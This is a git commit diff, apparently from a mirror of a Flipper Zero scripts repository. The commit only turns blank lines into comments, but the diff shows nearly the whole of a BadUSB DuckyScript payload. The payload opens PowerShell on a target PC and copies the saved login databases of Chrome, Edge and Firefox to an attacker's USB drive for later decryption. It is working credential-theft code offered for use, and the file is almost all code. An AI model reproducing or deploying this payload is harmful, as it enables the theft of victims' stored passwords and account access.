mirror of
https://github.com/UberGuidoZ/Flipper.git
synced 2024-12-22 06:20:12 +00:00
Commented out blank lines to avoid possible issues
This commit is contained in:
parent
9e54a64755
commit
c6b4361f87
@ -2,10 +2,10 @@ REM This script was created by github.com/MarkCyber
|
|||||||
REM Harvests all credentials from chrome, edge, and firefox
|
REM Harvests all credentials from chrome, edge, and firefox
|
||||||
REM This script requires a secondary USB named "MYUSB" to save credentials to
|
REM This script requires a secondary USB named "MYUSB" to save credentials to
|
||||||
REM The extracted data will require decryption
|
REM The extracted data will require decryption
|
||||||
|
REM
|
||||||
REM Set delay for Flipper Zero
|
REM Set delay for Flipper Zero
|
||||||
DELAY 1000
|
DELAY 1000
|
||||||
|
REM
|
||||||
REM Open PowerShell without elevated privileges
|
REM Open PowerShell without elevated privileges
|
||||||
GUI r
|
GUI r
|
||||||
DELAY 500
|
DELAY 500
|
||||||
@ -13,7 +13,7 @@ STRING powershell
|
|||||||
DELAY 500
|
DELAY 500
|
||||||
ENTER
|
ENTER
|
||||||
DELAY 1000
|
DELAY 1000
|
||||||
|
REM
|
||||||
REM Check if the USB drive exists
|
REM Check if the USB drive exists
|
||||||
STRING $usbDrive = Get-WmiObject Win32_Volume | ? { $_.Label -eq 'MYUSB' } | Select -ExpandProperty DriveLetter;
|
STRING $usbDrive = Get-WmiObject Win32_Volume | ? { $_.Label -eq 'MYUSB' } | Select -ExpandProperty DriveLetter;
|
||||||
STRING if ($usbDrive -ne $null) {
|
STRING if ($usbDrive -ne $null) {
|
||||||
@ -28,19 +28,19 @@ DELAY 500
|
|||||||
STRING cd BrowserData;
|
STRING cd BrowserData;
|
||||||
ENTER
|
ENTER
|
||||||
DELAY 500
|
DELAY 500
|
||||||
|
REM
|
||||||
REM Copy Chrome Login Data to USB
|
REM Copy Chrome Login Data to USB
|
||||||
STRING $chromePath = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data";
|
STRING $chromePath = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data";
|
||||||
STRING if (Test-Path $chromePath) { Copy-Item $chromePath "$usbDrive\BrowserData\ChromeLoginData"; }
|
STRING if (Test-Path $chromePath) { Copy-Item $chromePath "$usbDrive\BrowserData\ChromeLoginData"; }
|
||||||
ENTER
|
ENTER
|
||||||
DELAY 500
|
DELAY 500
|
||||||
|
REM
|
||||||
REM Copy Firefox Login Data to USB
|
REM Copy Firefox Login Data to USB
|
||||||
STRING $firefoxPath = "$env:APPDATA\Mozilla\Firefox\Profiles\";
|
STRING $firefoxPath = "$env:APPDATA\Mozilla\Firefox\Profiles\";
|
||||||
STRING if (Test-Path $firefoxPath) { Copy-Item $firefoxPath -Recurse "$usbDrive\BrowserData\FirefoxData"; }
|
STRING if (Test-Path $firefoxPath) { Copy-Item $firefoxPath -Recurse "$usbDrive\BrowserData\FirefoxData"; }
|
||||||
ENTER
|
ENTER
|
||||||
DELAY 500
|
DELAY 500
|
||||||
|
REM
|
||||||
REM Copy Edge Login Data to USB
|
REM Copy Edge Login Data to USB
|
||||||
STRING $edgePath = "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default\Login Data";
|
STRING $edgePath = "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default\Login Data";
|
||||||
STRING if (Test-Path $edgePath) { Copy-Item $edgePath "$usbDrive\BrowserData\EdgeLoginData"; }
|
STRING if (Test-Path $edgePath) { Copy-Item $edgePath "$usbDrive\BrowserData\EdgeLoginData"; }
|
||||||
@ -49,12 +49,12 @@ DELAY 500
|
|||||||
STRING }
|
STRING }
|
||||||
ENTER
|
ENTER
|
||||||
DELAY 500
|
DELAY 500
|
||||||
|
REM
|
||||||
REM Clear the clipboard to remove any sensitive data (This is not necessary, unless you did something on targetPC)
|
REM Clear the clipboard to remove any sensitive data (This is not necessary, unless you did something on targetPC)
|
||||||
STRING echo off | clip
|
STRING echo off | clip
|
||||||
ENTER
|
ENTER
|
||||||
DELAY 500
|
DELAY 500
|
||||||
|
REM
|
||||||
REM Close PowerShell
|
REM Close PowerShell
|
||||||
STRING exit
|
STRING exit
|
||||||
ENTER
|
ENTER
|
||||||
|
Loading…
Reference in New Issue
Block a user